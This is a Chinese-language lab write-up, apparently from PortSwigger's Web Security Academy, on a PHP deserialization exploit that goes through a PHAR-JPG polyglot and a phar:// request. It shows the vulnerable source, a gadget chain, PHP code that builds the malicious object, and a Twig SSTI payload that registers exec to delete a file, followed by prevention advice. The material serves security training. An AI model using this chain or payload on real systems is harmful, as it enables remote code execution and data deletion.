image-20211025151228411

#Blog.php
<?php

require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');

class Blog {
    public $user;
    public $desc;
    private $twig;

    public function __construct($user, $desc) {
        $this->user = $user;
        $this->desc = $desc;
    }

    public function __toString() {
        return $this->twig->render('index', ['user' => $this->user]);
    }

    public function __wakeup() {
        $loader = new Twig_Loader_Array([
            'index' => $this->desc,
        ]);
        $this->twig = new Twig_Environment($loader);
    }

    public function __sleep() {
        return ["user", "desc"];
    }
}

?>
#CustomTemplate.php
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Set-Cookie: session=RWcJOXUGXMgl3ZtrZ16XoSJJvvRO3GQv; Secure; HttpOnly; SameSite=None
Connection: close
Content-Length: 1091

<?php

class CustomTemplate {
    private $template_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
    }

    private function isTemplateLocked() {
        return file_exists($this->lockFilePath());
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lockFilePath(), "") === false) {
                throw new Exception("Could not write to " . $this->lockFilePath());
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Could not write to " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Carlos thought this would be a good idea
        @unlink($this->lockFilePath());
    }

    private function lockFilePath()
    {
        return 'templates/' . $this->template_file_path . '.lock';
    }
}

?>

分析源代码并确定涉及Blog->descCustomTemplate->lockFilePath属性的小工具链

请注意,file_exists()文件系统方法是在lockFilePath属性上调用的。
请注意,该网站使用 Twig 模板引擎。您可以使用反序列化来传入服务器端模板注入(SSTI) 负载。在 Twig 上查找用于远程代码执行的记录 SSTI 有效负载,并对其进行调整以删除 Carlos 的文件:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}
编写一些 PHP 来创建CustomTemplate并Blog包含您的 SSTI 负载:
class CustomTemplate {}
class Blog {}
$object = new CustomTemplate;
$blog = new Blog;
$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$blog->user = 'user';
$object->template_file_path = $blog;
创建一个PHAR-JPG包含 PHP 脚本的多语言。您可以在网上找到几个执行此操作的脚本(搜索“ phar jpg polyglot”)

上传图片

image-20211025170538186

image-20211025170645696

在 Burp Repeater 中,修改请求行以使用phar://流反序列化上传的恶意头像,如下所示:
GET /cgi-bin/avatar.php?avatar=phar://wiener

image-20211025170744617

使用内存损坏来利用反序列化

​ 即使不使用小工具链,仍然有可能利用不安全的反序列化。如果所有其他方法都失败了,通常会有公开记录的内存损坏漏洞,可以通过不安全的反序列化来利用这些漏洞。这些通常会导致远程代码执行。

​ 反序列化方法(例如 PHP)unserialize()很少针对此类攻击进行强化,并且会暴露出大量的攻击面。这本身并不总是被视为漏洞,因为这些方法最初并不打算处理用户可控的输入

如何防止不安全的反序列化漏洞

​ 一般来说,除非绝对必要,否则应避免对用户输入进行反序列化。在许多情况下,它可能实现的高严重性漏洞利用以及防御漏洞利用的难度超过了收益。

​ 如果确实需要对来自不受信任来源的数据进行反序列化,请采用可靠的措施以确保数据未被篡改。例如,可以实施数字签名来检查数据的完整性。但是,请记住,必须开始反序列化过程之前进行任何检查。否则,它们几乎没有用处。

​ 如果可能,应该完全避免使用通用反序列化功能。这些方法的序列化数据包含原始对象的所有属性,包括可能包含敏感信息的私有字段。相反,可以创建自己的特定于类的序列化方法,以便您至少可以控制公开哪些字段。

​ 最后,请记住,漏洞是用户输入的反序列化,而不是随后处理数据的小工具链的存在。不要依赖于尝试消除您在测试期间识别的小工具链。由于几乎可以肯定您的网站上存在跨库依赖关系的网络,因此尝试将它们全部插入是不切实际的。在任何给定时间,公开记录的内存损坏漏洞也是一个因素,这意味着您的应用程序无论如何都可能容易受到攻击。

0

评论区